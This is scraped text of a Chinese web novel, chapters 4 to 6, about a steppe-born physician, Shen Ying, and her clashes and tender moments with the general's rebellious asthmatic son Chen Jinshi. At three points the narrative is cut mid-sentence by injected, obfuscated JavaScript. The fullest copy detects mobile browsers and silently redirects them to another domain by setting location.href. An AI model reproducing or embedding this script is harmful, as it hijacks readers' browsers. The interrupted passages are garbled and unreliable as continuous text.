阿姆其实最疼他。 他脾气软下来:“阿姆,我喜欢。” 说着,咬牙把帽子戴在了头上。 直到出了自家的门,快接近书院时,才把帽子摘下来。 哄她是哄她,自己的面子是自己的面子,不可混为一谈。 他永远记得她之前给他做的蓝色勾连纹裤衩,在书院如厕时被同窗看到的景象…… 4. 第 4 章 陈锦时走后,陈锦行又过来请安。 请过安,两人一同用过早膳,顺便商量配药的事情,“九珍丸”的炮制已提上日程,别的事都暂且搁后了。 此前沈樱寻机与陈济川说了此事,怎料陈济川也是一笑而过,安慰她道:“便是你以后要出去开自己的铺子,把这秘方拿去用也没什么。都兰,你从来都不是外人。” 尽管沈樱这个名字正是陈济川给她起的,但陈济川总爱称呼她的旧名“都兰”。 “还差一味沉香,府上药库里的成色都差点意思。锦行,你去牵马,咱们到柜上找找。” 陈锦行应了声“是”,转身去马厩里牵了马来,套好马车。 沈樱坐进车厢,陈锦行坐在前面赶车,车辕边悬着“陈氏药铺”的木牌,黑底金字,在日头下泛着光。 陈家大房几间药铺的掌柜都对沈樱很是敬重。远远见马车过来,早有人迎上来摆好马凳,扬声吩咐: “沈东家来了,都打起精神来。” 沈樱刚来时,有几个老一辈的掌柜对她不服,她在陈家的身份原有些尴尬。后来陈济川压下许多闲话,只说陈家的生意全交给她来照管,又把那几个本就有二心的掌柜换了个干净。 这些铺子原是陈氏大族的产业,分到大房后,少不得要整治一番。陈济川不懂医,孩子们又小,便全权交托给沈樱。如今这几个掌柜,倒多是她亲手提拔的。陈锦行跟着她学些经营之道,也是应当。 路上闲聊时,陈锦行道: “阿姆像我这般年纪时,医术怕是早已超过我许多了。” 沈樱也不谦虚,点头道:“你从小读的是医书,学的是理论;而我从小跟着家人四处行医,草原上的病症杂多,见得多了,医术自然显得高深些。锦行,你也不必急,在陈家年轻一辈里,你已算得上是佼佼者了,你很聪慧。” 相比之下,倒是陈锦时,才能还不显,整日溜猫逗狗、舞刀弄棍。沈樱也不急,她对他总是抱有几分笃定。 两人这三年来又吵又闹,反而生出十足的默契。 沈樱知道陈锦时无论嘴上怎么说,心里其实很在意她。她本不在意他如何待她,她只做自己分内的事情。可他若是念着她,时而关心她,她心里也会泛起暖融融的情绪,毕竟人都是讲感情的。 此时两人说起话来,她的声音温温柔柔,像一汩温暖的泉,直淌进人心里去了。 陈锦行不觉脸红,低声道:“阿姆过誉了,我还有许多要学的。” “嗯。” 说话间又到地方了,陈锦行虚虚扶着她下车:“阿姆小心。” 酉时,天空染成橙黄,两人忙了一整天,总算找到了成色合宜的药材,赶着马车往回走。 沈樱身上出些汗,她在娄烦之地长大,金陵的气候对她来说太过湿润,她不很习惯浑身黏腻的感觉,唯一的好处便是,原本有些粗糙的肌肤,如今变得越来越柔嫩光滑了。 她摇着扇子,随口抱怨:“怎的热得这样快,冬天拢共就没几日。” 陈锦行闻言宽慰:“阿姆,快到府了。” “嗯。” 两人回了府,沈樱第一件事便问陈兴:“二少爷回来了吗?” 问一声是她的习惯,也不是为了什么。 陈兴回:“还没有。” 她“嗯”了一声,便回房歇着了。 刚坐下,陈兴又来回话:“沈姑娘,二少爷被书院里的张先生扣下了,让叫家中长辈过去领他。” 在一旁的陈济川一听,当下道:“这小子,又闯什么祸了?” 沈樱拦住他:“未必是闯祸,时哥儿许久没犯浑了,你别急,我去看看。” 沈樱在陈家大房有些地位,这是公认的事情。除了铺子里的掌柜们,书院里的先生们也认她,尤其是时哥儿从前在书院里犯了错,一见着她就乖乖认错。 沈樱不把这个当成他真的屈服于她的威严在她跟前服软,而把这个当成出门在外他给她的面子,这是两人之间的默契,任何对错等回了家再论。 想到这儿,沈樱怕陈济川脾气一急起来,到了书院不给孩子留面子,便主动揽过了去接人的活。 陈济川叹道:“都兰,你不必为他做到这份上,我去把他拎回来打一顿便是。” 沈樱也说不清是为什么,许是念着陈锦时那些年给她暖过的被窝吧。 便婉拒了陈济川的提议,收拾收拾,又叫人备了马车往书院去了。 陈锦时此刻一脸不服气,张先生看不惯他已久,此时把院长也请了过来主持公道。 “陈锦时,你自小失母,老夫不与你计较,你认个错也就罢了。” 陈锦时两手揣在胸前,哼笑一声:“我没错,我为什么要认?”一脸的不羁。 原是他发现张先生在《十三经注疏》里的批注有所错漏,偏不屑于悄声告知张先生改正,一连几日在藏书楼搜集了完备的论据,定要当着大家的面儿驳之。 书院里的夫子哪有受得了学生这般反驳的,张先生为了自己的尊严和脸面,当然就是死也要把他驳斥回去。 便请了山长和其他夫子过来评理,院长不可能为了一个学生驳夫子的面子,要是承认一个学生是对的,夫子是错的,他明道书院还有脸再办下去吗? 现下便是几位老儒皆围着陈锦时讲理,要证明他说的是错的。 陈锦时是什么人?要他说自己是错的,比张先生去死还难。 几人争持不下,院长只好放话逼他:“既然如此,我明道书院教不了你了,你回家自学去吧。” 陈锦时乐意如此,自己学就自己学,正要答应,他阿姆连忙从马车上下来,连连摆手:“不可!不可!” 陈锦时两目一瞪,谁去把沈樱叫来的。 “汪山长,改日请到舍下坐坐,有什么话跟我说。” 陈锦时拉住她,蹙眉道:“阿姆,跟他们没什么好说的。” 沈樱柳眉倒竖,在看向他的一瞬,眉眼却平静下来,只余一片冷厉。 陈锦时不敢惹她,心里又信她几分,便松了手,任她去交涉。 待沈樱弄清楚前因后果,陈锦时挺直了腰背,他相信他阿姆不会认为是他的错。 沈樱沉吟了片刻,当即决定向张先生赔礼。 “是陈锦时的……不是,我回去定会好好教导他。” “阿姆——” 汪山长对沈樱原有几分敬重,这位虽不常给人看诊,但医术在金陵却是排得上号的。 “既然沈姑娘都这么说了,我们几个老儒,也犯不着跟个学生计较。还望沈姑娘领他回去好生教导。陈锦时,好好与张先生道个歉,承认你错了,此事就揭过。” 沈樱悄然蹙起眉头,这几个老东西也真是,她愿意稍稍退一步,替他道个歉,双方把事情压下来便是最好的,这老东西竟想让陈锦时承认自己错了,这只怕不可能了。 如她所料,陈锦时会把事情会闹到不可收拾的地步。 “我没错!这学我不上了便是,跟他们没什么好说的。你,带我回家!” 沈樱闻言不动,她面不改色地看着几位老儒,要么闹大,陈锦时被黜退,张先生也高低要落个名声受损;要么双方各退一步,她替陈锦时道歉,陈锦时不认错。 陈锦时又拉了她两把,他气得要死,这蠢女人,他再也不理她了! 纵然他再气,再旁人面前,他也不会直呼她名,尽管磨着牙狠狠叫了好几声“沈樱”,说出口的话仍是:“阿姆,走吧。” 眼前几位并不打算退步,老学究的自尊心是极强的。 沈樱又能怎么办呢,她太知道了,陈锦时绝不可能认错的。 她在他的拖拽下,慢慢敛了眉眼,与他上了回家的马车。 两人在车厢里对视无言,半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她没管他,两人在狭窄的马车车厢内晃晃悠悠。 他突然扭头。 “沈樱,不管谁对谁错,你永远只能是我这边的,因为你是我的……” 她每一次用这种无话可说的眼神定定看着他,都像是无形的鞭子一下下抽他。 他声音渐渐熄了,这是她对他无声的训-诫,他一下子知道,不该再对她说什么了。 事情到此为止。 陈济川见两人脸色一个比一个难看地回来,当即黑了脸:“陈锦时,你又闯什么祸了?” 陈锦时没搭理他,自顾自回了房。 陈济川又望向沈樱,蹙眉道:“早说你不该去,我去就行了,倒把你又气了一场。” 沈樱无奈叹了声气:“没什么,将军,你没去也是一件好事,不然我真担心你这身板子遭不住。” 陈济川脸色一变,面露委屈:“都兰,你怎这么说我。” 她摇摇头:“也不是什么大事,你儿子被明道书院黜退了。” “什么?!” 她忽略了身后中气十足的暴怒,她想,如果陈济川要去揍陈锦时,她是不会拦的。 后院里闹了半宿,沈樱懒得去管,心里却到底有些心疼他,索性盖上被子早早睡了。 接下来几日,陈锦时果然不是个省油的。他没学可上了,倒把明道书院张先生的名声搅臭了。他整日在外宣扬自己被退学的事,这非但不是丑事,反倒被传成了“是非分明”的佳话,市井里夸他“不畏强权”的人不少。 只是,这人还跟她生着闷气呢。 沈樱知道,他气她关键时候没有坚定站在他这一头。 要说后悔吗,倒真有几分。早知道事情最终还是闹成这样,她何苦对那汪山长赔礼呢。 她暗暗发了个誓,要是再管他的事,她就狠狠扇他两巴掌。 好在陈锦时没气多久。过了两日,他笑呵呵地回来,凑到她跟前:“阿姆,有个好消息要告诉你。” 沈樱正翻看着苏兰舟替她打听的铺子消息,头也没抬:“什么事?说。” 陈锦时端起她面前的茶杯,牛饮而尽,在外面奔波了一日,渴死他了,以至于他完全忽视了沈樱那双波涛汹涌的眸子。 5. 第 5 章 “张先生被明道书院除了名,如今他名声比我还臭。” 沈樱翻看的动作顿了顿,只觉一阵心梗,好家伙,他倒也知道自己现在名声臭。 她抬眼,无言地看他,陈锦时咧开嘴笑得张扬,眼睛里发着光,瞳孔里倒映的全是她。 “阿姆,还有一桩,汪山长又遣人来请我回去上学,你说我回是不回?” 沈樱倒吸一口凉气,伸手捏着他脸道:“有这好事,你偷着乐吧,还问我。” 陈锦时一笑,露出一点虎牙尖,把她捏在他脸上的手摘下来,握在掌心。手肘抵着她跟前的桌案,两人距离骤近,视线恰好平齐。 趁她不注意,他撩起她肩头搭着的一根发辫,绕在指尖转圈,此时也不看她了,看着那根转圈的辫子。 慢悠悠地说道:“阿姆,这次你好像不得不承认,你做错了。” 沈樱一时没吭声。 他扬起眉梢,把她手拉着,用鼻尖轻轻蹭着她手背,明明说着指责的话,却做着讨好的动作:“阿姆,你那日不该不站在我这一边的。你承认吧,陈锦时从来就没叫你失望过,你这次的行为,就是你错了。” 沈樱拿回被他绕在指尖的发辫,仍不吭声。 陈锦时又凑近了些,额头差些抵上她的,鼻尖相触,他眼睛定定望着她,叫她避无可避。 “沈樱,你这次得答应我,以后永远要站在陈锦时这一头。永远,听见了么?” 沈樱本想说,她不算他的什么人,不过是想尽量想摆平他惹的麻烦,不至于辜负将军的托付罢了。 可他好霸道,竟然想让她无条件以后永远站他这一头,无条件信奉他的道理。 奇了怪了,明明只是个小她八岁的男子,他的注视却像一双手,将她牢牢攥住了。 “阿姆,陈锦时不会辜负你,并且愿意原谅你这次的‘背叛’,听明白了吗?” 他双手支在她的椅臂上,忽然俯身,由上而下看她。浑身透着不容反抗的侵略性。他把她这次替他赔礼道歉的行为视作一种背叛,沈樱觉得他很不讲道理,她明明是为他摆平麻烦。 “你不说话,我就当你认可了。好了,该你夸我了。” 沈樱再次抬眸看他,他又俯下身,将双眼移到与她平行的位置,扯起嘴角笑得温顺。只是眼底的意味并未掩盖他霸王混球的本性。 “夸你什么?”沈樱挑眉反问,语气稍微有些冷。 “夸我勇敢、正直,还聪明。” 沈樱眼神定定看向他,微冷,而他一如既往的坚定,两人对峙片刻,她神情柔软下来,呼吸了几下,正式说道: “首先,陈锦时,我答应你,以后无论发生什么,我都会无条件站在你这边; 其次,你这次做得很好。” 话音刚落,她便看见他的神情一下子变得温顺又乖巧,像极了从前偶尔露出的模样,他不常是这副表情,但给她暖被窝时便是这样的表情。 “阿姆,你抱我一下。” 沈樱拒绝。 他耍赖:“阿姆,你都许久没抱过我了。” 他故意做出楚楚可怜的样子,像她幼时在毡帐里养的小奶狗。尽管沈樱无数次告诉自己,别信他,他的真面目就是条龇牙咧嘴的猎豹。 眼神专注,锁定目标便蓄势待发,动作从容且优雅。 例如此刻,头软乎乎地往她怀里一倒,她竟做不出推开他的动作。 咬咬牙,罢了,仅此一次,算她给他的补偿。 阿姆是一个很好的人,可惜他清楚的知道,不止他一个人在得到她的好,她温暖的胸脯和腹部,哥哥也曾埋进去过。 不仅如此,她对父亲、妹妹,家里的每一个人,都好得不得了。 他此时脸贴着她的腹部,被柔软和温暖包裹着,呼出热气,心里发酸地想,要是阿姆只属于他一个人就好了。 他猛吸了一口气,深深地陶醉着。 从他第一次被她揽进怀里,头埋进她胸脯时,不愿承认的是,他已经迷恋上了这种感觉。 陈锦时如常上学去了,沈樱总算松了一口气,正式约了苏兰舟出门看铺子。 陈济川对她此举毫无意见,还多有鼓励:“都兰,若是缺银子,尽管从账上支,一家人不说两家话。” 沈樱手上的确缺些银子,不过这三年她帮陈家打理生意,赚得不少银子,她花起来倒也不觉得违了原则。 便点头道了谢:“我会的,将军。” 这个家里只有他们二人还在互相称呼“将军”和“都兰”,仿佛这般称呼时,二人就能短暂回到过去在草原和沙场上的日子。 人年纪大了总爱怀旧,沈樱也不介意短暂被他拉回去那么一瞬,同样的,她也知道,如今身体已经不再强健的将军也很喜欢她这样称呼他,仿佛他随时还能提枪上阵,大杀四方。 苏兰舟一早在陈府门外等她:“按你说的价钱,我托人找到了好几家要出让的铺子,咱们挨个去看。” 沈樱点头,得了将军的话,她如今手头更宽裕些了。 “原想先租一间试开张,如今不缺银子,不如直接买下来。 苏兰舟也替她高兴:“这样最好。” 沈樱不是喜欢纠结拉扯的人,与苏兰舟在街上逛了一圈,该看的都看过了,直接挑中了西街一处临街的老房。 一整条街都是铺的青石板路面,隔壁是间老茶馆,来往多是街坊熟客,透着股踏实的烟火气。沈樱很喜欢这种感觉。 苏兰舟做事也利落,当天便请了前东家过来签了店契。 沈樱踩着木梯爬上二楼,推开吱呀作响的窗,窗外是一颗老槐树。 苏兰舟靠过来,挨了挨她的肩:“我就喜欢你身上这股爽利劲儿。说起来,你家那小子如何了?还是那么讨人嫌?要我说,他要再不听话,一巴掌扇过去便是。” 沈樱笑道:“我脾气倒也没那么大。” “不说他了,你这铺子缺个掌柜,要不要从我家给你调一个可靠的过来先用着。” 沈樱摇头:“不用,我有人手。” 苏兰舟点头:“也是,陈家药铺里有几个小伙计是你一手带出来的,把他们支过来升为掌柜也就是了,省得再费心。” 沈樱本还觉得这样做不太符合规矩,但既然将军从不把她当外人,她自己也有些嫌麻烦,那几个伙计又完全听她的,省一事也好。 她自掏银子,再给陈家缺人手的铺子补几个小工便是。 铺子还需翻新,再悬块新牌匾。沈樱与苏兰舟正说着,楼底下传来几名学生的笑闹声,算算时辰,正是明道书院下学的时候。 这铺子恰在从书院到陈府的路上。沈樱支着身子往下看,一眼便瞧见站在人堆里的陈锦时,被众人围着,正眉飞色舞地说他如何把张先生“赶”出书院的事。他真是好大的风光。 走到半路,过了岔口,陈锦时挥别同窗,往另一个方向去了。沈樱收回视线,放下窗户。 他去的是城外演武场的方向,怕是又手痒了。 “待会儿去香满楼吃八宝鸭,如何?” 沈樱神色有些恹恹,一时没有答苏兰舟的话。 苏兰舟推了她两下:“喂,你想什么呢?要不要把锦云叫出来,好久没见那个小粉团子了,姨姨都想她了。” 沈樱回神,笑得温柔似水:“好啊,我叫车夫回去说一声,咱们一会儿就去把她接出来。” 陈锦云就是只浸了蜜的雪团子,没有一处不好的。平时既不叫沈樱操心,又会讨她欢心,一声甜甜的“阿姆”叫着,沈樱都有些受之有愧。 苏兰舟道:“真不知陈家夫妇两个是怎么生出这截然不同的三个孩子来的,啧。” 两人搭着马车到了府门前,奶娘已牵着陈锦云候着了。 陈锦云年纪不算小了,不需要奶娘寸步不离,沈樱便招手打发奶娘回去:“回去吧,我带她玩会儿。” 奶娘也没什么好不放心的,沈姑娘是这个家里最靠谱贴心的人儿了。 “沈姑娘慢些。” 沈樱手掌着马车厢柱,拢着帘子好让陈锦云自己爬上来,她随意朝奶娘点点头:“放心。” 待陈锦云钻进车厢,她放下帘子,苏兰舟早已把小粉团子抱到腿上去了。 “嗳唷,你现在怎么这么沉了?” 陈锦云有些不好意思:“兰舟姐姐,我已经学着绣帕子上的花儿了,不是小孩子了。” 沈樱嗔她一眼,伸出食指挠了挠她鼻子:“嘴怎的这么甜,管我叫阿姆,管她叫姐姐?” 陈锦云更不好意思了,软软叫了声:“阿姆姐姐。” 苏兰舟却道:“学什么绣花儿?你让她学的?” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的医术原在某些偏门方子上,正儿八经给人把脉看诊反倒不是最擅长的,何况她也没那个功夫日日坐诊,便只打算做药材生意,给人看看方子,卖些药材和丸药。 苏兰舟摇头:“这个名字不大气,该叫‘沈氏药局’。” “那么个老小的铺面,挂这么个牌子,恐怕有些招笑。” 苏兰舟问陈锦行:“陈大,你觉得呢?” 陈锦行不大习惯苏兰舟这样称呼他。 若非阿姆的关系,她断不该以长辈口吻叫他。但他向来是君子姿态,不与女子计较,对沈樱更是敬重,便答道:“我觉得‘沈氏药局’好。阿姆医术高明,又有手段能力,往后定能把药局越开越大。” 陈锦行把沈樱哄得很好,几人高高兴兴吃了顿饭。 这边,陈锦时在演武场酣畅淋漓打了几场,连军中训练有素的士兵也被他打得趴下。几人起哄:“不愧是陈将军的儿子!陈锦时,我们派黑铁出战,你若是能打赢他,我们便服你!” “黑铁”是营里一尊悍将,之所以叫黑铁,是因为他整个身躯就像块从山岩上凿下来的黑铁。 赤膊,肌肉虬结,脊背呈古铜色,几道深浅不一的伤疤横亘其上,正儿八经从战场上下来的。 他赤手空拳,吼道:“哪个是陈锦时?出来受死!” 陈锦时捂着胸口,肺部收紧,感觉稍微有些喘,他摆了摆手,决定歇会儿。 便有人喊他:“别怂啊,陈锦时!都说虎父无犬子,你坐下算什么?娘们儿兮兮的。” “陈锦时,你跟陈大可不一样,陈大瞧着细皮嫩肉,文绉绉的跟个小白脸儿似的。” 话说着,场上哄堂大笑。 陈锦时向来禁不得人这样激,更禁不得人拿他跟他哥比,在学业上他尚且算得上一事无成,从武之路又被他父亲明令禁止,在家族里倒不如他哥露头了。 就连沈樱那女人也常常叫他跟他哥学学:“你乖些,学学锦行,他多让人省心。”这话他耳朵都快听出茧子了。 他摁了摁胸口,仿佛这样就能将逐渐收紧的肺部听话,叫他畅快地吸进空气,支撑他再打一场。 他把拳头举起,抵在额前,眼神如隼。 “这局我要是赢了,劳烦各位在外好好传一传我陈锦时的名头!我陈二不是什么靠家里生意混饭吃的废物,更不是见了硬仗就缩脖子的软蛋!” 黑铁瞪着他,已经起势,像头被激怒的野牛,眼里毫无世俗情绪,只有冲撞的目标。 有人提醒:“这是陈将军的儿子,黑铁,你悠着点,别真把人给打废了。” 黑铁一个字也没听进去。 6. 第 6 章 陈锦时深吸几下口气,感受着肺部的缩放,他捏紧了拳,还撑得住,一局而已,撑得住。 他并非骑虎难下,也不是被人怂恿着犯蠢的傻瓜蛋,他早就想与黑铁一较高下,要不是从小患有喘症,他才不去学那劳什子四书五经,他早就成了比他爹还勇猛的战士。 其实他没有十足把握能赢黑铁,可惜挑战极限是他的天性,无论如何,他想试试,他要是只做完全有把握的事情,他就不叫陈锦时了。 他有四成把握,剩下的六成里,体型和绝对的力量悬殊占了三成,不争气的肺占了两成,论技巧,他并不觉得自己比黑铁这个傻大个儿差。 黑铁一跺脚,震得脚下的尘土飞扬,一拳挥过来,两人登时搅打在一起。 黑铁的拳头带着破风的劲,砸过来时像座移动的山,陈锦时几乎能闻到对方拳头上的汗味与铁锈气。他猛地侧身,险险避开那记直拳,拳风擦着他的耳畔掠过。 他知道硬碰硬绝无胜算,脚下打滑似的踉跄半步,恰好躲过黑铁紧随而来的扫腿。 “躲什么?!”黑铁怒吼,攻势更猛,每一拳都朝着要害招呼。 陈锦时始终保持灵活,同时尽力调整呼吸,让已经开始减少吸进肺里的空气尽可能用在最要紧的地方。 每呼吸一下,肺都像是在剧烈震颤,很用力才能勉强吸进一点空气。 那许久没有过的,窒息的感觉卷土重来,叫他险些昏厥。 刹那间,他觉得自己好对不起阿姆,又辜负她的苦心了。 他的目光始终锁定着黑铁的肩窝与膝盖,以便预判对方的所有动作。 果然,黑铁连续出拳后,右肩微微下沉,呼吸也粗重了几分。陈锦时瞅准空隙,突然矮身,左肘顶住黑铁的膝盖内侧,右手攥拳,用尽全力砸向他大腿根的麻筋。 ……从黑铁腋下钻过去……黑铁一拳捣来……飞踹一脚到黑铁后腰……黑铁“咚”地一声单膝跪地,石屑被砸得飞溅。 陈锦时扶着膝盖喘气,再也站不住了,喉咙里像塞了团棉絮,艰难进气,但他看着跪在地上的黑铁,笑得肩膀发颤。 “嗬……嗬……嗬……” 他用力锤了自己胸口两下,黑铁欲起身再来,胜负未分,陈锦时止住他:“黑铁,我……我不行了。” 黑铁一愣,尽管膝盖上血赤糊啦的,但这对他并没有多大的影响。 陈锦时算是知道,黑铁的皮实在太厚,不是他现如今能打赢的,他的力气还太小,该认输时就认输,也是陈锦时的准则。 黑铁嗤笑道:“这怎么行?胜负还没分出来。” “黑铁,算你赢,行吗?” 黑铁猛然垂头,眼里划过一丝羞愤:“我不需要你让,你这病秧子,这次就算了,谁也没输,谁也没赢。” 陈锦时摆摆手,已经彻底说不出来话了,营中几个与他交好的士兵围过来:“陈二,你没事吧?” 他年纪到底不算大,原本冲动占多数,此时病痛围上来,他彻底心灰意冷。 其实他不是完全打不过黑铁,对吧。 他瘫在粗粝的石子地上,望着天,缓了许久才缓过来。 应对喘症发作他已有许多经验,他从腰间取下沈樱给他做的香囊,放在鼻尖嗅闻,冰片的味道让他舒服了一点。 这个味道同样把他带回了那些在她怀里度过的日日夜夜,他那时几乎每天都要发病,沈樱格外惯着他,整日把他放在身边,晚上拍着他的肩膀哄他入睡,若他半夜发作起来,她会立刻苏醒过来。 陈锦时一直躺到完全心平气和,才起身从演武场离开。 他回到家里,宅院里空空荡荡的,只剩下他爹在树下乘凉。 “我阿姆呢?” 陈济川正在闭目养神,没心思搭理他,摆摆手:“他们都去香满楼吃饭了。” 说完又骤然睁眼:“你解释解释,怎么现在才回来?” 陈济川一双鹰目,顿时瞧见他手背上的蹭伤,心中怒火大起:“陈锦时,你又跟谁打架?” 陈锦时站得离他远远的,捂住手上的伤,故作平静的表情,显得毫不费力。 “也就跟黑铁打了个平手,你这么大反应做什么?” 陈济川站起身要揍他,陈锦时捂着胸口道:“爹,别碰我,否则阿姆回来咱俩都不好交代。” 陈济川动作一顿,皱眉道:“又犯病了?” 陈锦时极不情愿点头:“别告诉阿姆。” 陈济川指着他鼻子,狠狠瞪了他几眼。 对峙半晌,两父子心照不宣地把这件事情瞒了下来。 陈济川见他又要往外走,喊住他:“你又往哪儿去?” 陈锦时神情微愠,淡淡瞥他一眼:“天色晚了,我去接她回来。” 陈济川一时都忘了说,陈锦行在那儿,哪用得着他去接她。 陈锦时眉峰没形没状的笼了些怒气出来。 大抵是,她吃个饭把所有人都叫上了,唯独没叫他。 香满楼内,三人一边聊天打趣,一边吃东西,后来又叫了一壶酒上来,一人浅饮了几杯。 陈锦行是极有君子之风的晚辈,将两位长辈照顾得十分妥帖,也没忽视自己的小妹。 桌上的菜已去了大半。 到了适当的时候,他抬手按住沈樱的酒杯:“阿姆就别喝了,否则半夜要不好受了。” 沈樱本还想再多贪两杯,晚辈好心劝她,她也不好不领情。 “听锦行的。” 几人你一言我一语,从街坊琐事聊到陈年旧事,直到陈锦云脑袋一埋一埋的,开始打瞌睡了,苏兰舟便道:“时辰不早了,咱们今天就到这儿吧。” 沈樱也称是,捡起自己酒酣耳热之际脱掉的披风,正要起身,却瞧见怒气冲冲从外头走进来那人。 陈锦时一路上都在克制怒火,一会儿感到委屈,一回感到愤怒。 后来委屈压过了愤怒,一走进来,见到几人其乐融融的模样,他哥在其中,手虚虚扶着沈樱,做足了恭谨姿态。 他的怒气又“噌”的一下上来了。 苏兰舟见他来了,瞥了他两眼:“哟,时哥儿今天真有孝心,亲自接你阿姆来了。” 沈樱原本看他一脸怒气,还当他又发什么癫,听苏兰舟给了他个台阶,她便也笑起来:“时哥儿向来很有孝心。” 说着,她拉过他的手臂,在他肩头按了按,又道:“锦行在这儿呢,难为你多跑一趟,怎么不在家歇着?” 沈樱说话的声音很温柔,目光柔柔注视着他,再加上刚刚那一人一句的话像是在夸他,陈锦时脾气一下子无所踪迹了,他张口要指责她些什么,找了找,再找不出抱怨的话来。 他被她揽着肩往外走,他想起她一如既往都是这般,每次他想发脾气,她无声无息就给堵了回去。沈樱可真是个和稀泥的高手。 可他的气还堵在心口里,不上不下的。 什么孝心?什么来接她? 他明明是来加入他们的! 沈樱似是知道他心里不痛快,一路上刻意落后了几步,单独与他走着。 陈锦时一口气越发上不来,生着闷气,顶着一张黑脸。 他绕开她的手,独自走在一边。 沈樱耷拉着眉眼看他,问道:“今天闯什么祸没?” 他走在她前面,偷偷拿手捂着胸口,深吸了一口气勉强说道:“没有。” 她又问:“旺儿呢?怎么没跟着你。” 陈家不是多么大的富贵豪门,家里除了一个陈兴,一个陈兴媳妇,几个洒扫的下人,忙的时候请几个伙计来做事以外,就只有陈锦时身边配了个小厮,旁人哪有啊。 因他发起病来要命,身边离不得人。 陈锦时虽生着闷气,更不敢叫她察觉自己的异样,便多走了两步,狠狠吸气,一口气说完话。 “旺儿家里有事他母亲生病了叫他回去伺候他请了一天假回家去了。” 沈樱奇奇怪怪地瞥了他一眼,说话不断气,什么毛病,亏他还跟她解释得齐全。 “知道了。” 他在前面走着,她打量他背影,这三年是蹿高了许多,再加上他日常习武,身材倒不显得单薄,正在长高的少年也不至于多健壮,薄衫底下覆着薄薄一层肌肉轮廓,隐约可见肩宽、腰窄、腿长。 “陈锦时,你没事吧?” 她突然发问,使他后背瑟缩了一下。 喘症发病因素之一:情绪起伏、心情紧张。 “我,我不行了,阿姆救我——” 沈樱一惊,他一手捂着脖子,一手捂着胸口,直直倒地,她脸色大变。 “陈锦时!你个倒霉孩子!” 她蹲下身,一把将他趴伏在自己腿上,急急撩起他后背的衣裳,掐了几个穴位。 他抓着她的衣袖,嘴唇乌青,嘴唇泛白,喉间发出“赫赫”声。 “你别慌,我给你找药。” 她伸手在他怀里乱摸,她是常给他身上备了药的。从他衣襟里摸出一只装了定喘散的小瓶子,一只手轻轻抚着他胸口,一只手给他喂药。 这套动作她早就做习惯了,此时倒也不心急,只是两人的心跳震颤和鸣,在黑夜里响得要命。 为了顺药下去,他仰躺在她怀里,她搂着他,她气力不小,说要把他背回去。 陈锦时望着她,忽然问起来:“阿姆,你救我几回了?” 沈樱道:“数不清了,你少说些话,本来就吸不上气。” 陈锦时把着她柔软又纤细的手臂,笑着道:“阿姆,你救我的次数,我都数不清了,我一开始以为你想做我妈,后来才知道不是,那我要如何还你的救命之恩……嗬……嗬……嗬……” 沈樱顾不上他叽里咕噜说的一堆话,抚着他脸道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111943|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你想象一下,周围有花香,慢慢吸嗅,一点点吸……” 他摇头:“闻不见,阿姆,只能闻见你身上的气味。” 陈锦时把头往她胸脯里埋了埋,狠狠吸了一口。 沈樱忍了忍,没有把他拨开。 这样待了许久,她迟疑问他:“好了吗?还没好吗?” “没有。” 他的声音闷闷的,眼皮子懒懒睁开。沈樱身上是一股淡淡的羊奶味,也不知是那边人天生的,还是她小时候在羊堆里被腌的,更或者是她从小每日喝下一大碗羊奶,也因此使她生长得高健而丰腴。 她扯开他的脸,说他要是再不好,她就把他扛回去,总不能在这里坐一夜吧。 陈锦时不舍地离开她的怀抱,站直了身子,看上去恢复了精神。 “阿姆,我已经好了,我们回去吧。” 月色下两人一高一矮,并肩慢慢悠悠往前走。 沈樱不禁想起他从前,那时候他真是跟牛一样犟。 她向来不在意他的无礼,细心照顾他,温声细语哄着他,也不在意他是否领情,她只做自己该做的事。 他有一次发病到已经几乎窒息,打死也不喝她端来的药。 像是笃定她要害死他一样。 她当时说:“是白白就这么窒息死了,还是先嫁祸给我再死,你想想呢。” 陈锦时听了她这话,也不知是怎么说服自己的,端起药碗喝了下去。 其实沈樱也不知道她当时配的药对他管不管用,她只是先配制出来试试,要是不行,她再重新调方子。 好在陈锦时喝了药的确缓解了许多。 后来他每次嫌弃自己不争气地又在她面前发病,她就温声细语地哄他喝药。 铁打的汉子也经不住温柔乡,渐渐在她跟前沦陷了,“阿姆”叫得一声比一声亲。 可惜陈锦时本性难移,一个月总有那么几天,要对她冷言几句,甩一甩脸子。 “你不用这么假惺惺的。” “你以为我傻?你凭什么对我这么好?” “你走开,我的事不需要你管。” “你别看陈锦行对你恭恭谨谨的,他就是个伪君子。” …… 逐渐变成了: “沈樱,熬药的活儿交给铺子里的伙计就行,你仔细别被熏着了。” “可别,我用不着你亲自煎药,多劳动你老人家,回头我爹又骂我。” “祖母,你可别想给她立什么规矩,她只是我阿姆,我爹不会娶她。” “你们走开!她是我阿姆,别想欺负她。” 不管他前前后后怎么变换态度,她始终维持着对他的照拂与爱护。可当他平静下来细心体会那种关爱时,却始终望不进她眼底去。 从此他经常因此生闷气,或是干脆大闹一场,有时候,先招惹她,惹恼她,再由她若无其事地付出关心,这样的行为让他感到满足。 她会抚摸着他还在怒火中的头,掀开被子:“时哥儿,你乖一点好不好,进来睡觉,好吗?” 她温声哄了一句,他就乖乖钻进她被窝里,炸起的毛也顺了。 可惜自他过了十四岁,她再不那样哄他了。 …… 沈樱开始筹备“沈氏医局”开张的事情,铺子里许多陈设都太过老旧,她免不得要出钱换新的进来。 牌匾是请金陵城里一位老书法家写的,那人听了她这招牌名,还多问了几句。 “‘沈氏医局’?姑娘,你这名字可起得大,不说这个‘局’字,你可知京城里还真有一沈家老号,人家都是几百年的招牌了。” 